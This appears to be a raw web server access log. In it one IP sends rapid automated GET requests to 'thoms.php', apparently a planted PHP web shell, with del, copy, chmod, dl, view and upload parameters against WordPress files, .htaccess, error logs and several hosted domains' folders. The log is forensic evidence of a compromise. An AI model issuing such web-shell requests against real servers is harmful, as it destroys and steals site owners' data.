45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?copy=upgrade-20260912023806&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=thoms-20260912023711.php&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22592 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20965 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=upgrade-20260912023806&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?dl=mah-20260912023710.php&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/bfl.com.tw/thoms.php?chmod=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:14 -0400] "GET /bfl.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12392 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=-20260912023718.htaccess&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=betcity.com-20260912023741&p= HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22637 "https://163.245.207.76/bfl.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=bodbooks.com-20260912023809&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22642 "https://163.245.207.76/bfl.com.tw/thoms.php?p=&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?del=beauty-dental.com-20260912023807&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=broadweb.com-20260912023716&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=besth2o.com-20260912023731&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=betcity.com-20260912023741&p= HTTP/1.1" 200 12399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12398 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 13114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=mah-20260912023710.php&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?del=-20260912023718.htaccess&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11920 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:15 -0400] "GET /bfl.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/bfl.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=&view=-20260912023718.htaccess HTTP/1.1" 200 11937 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22551 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?copy=broadweb.com-20260912023716&p= HTTP/1.1" 200 12415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?del=bodbooks.com-20260912023809&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?copy=-20260912023718.htaccess&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 22646 "https://163.245.207.76/bfl.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12397 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17302 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=bfl.com-20260912023804 HTTP/1.1" 200 17312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20734 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:16 -0400] "GET /bfl.com.tw/thoms.php?chmod=beauty-dental.com-20260912023807&p= HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12118 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?copy=besth2o.com-20260912023731&p= HTTP/1.1" 200 12378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:17 -0400] "GET /bfl.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
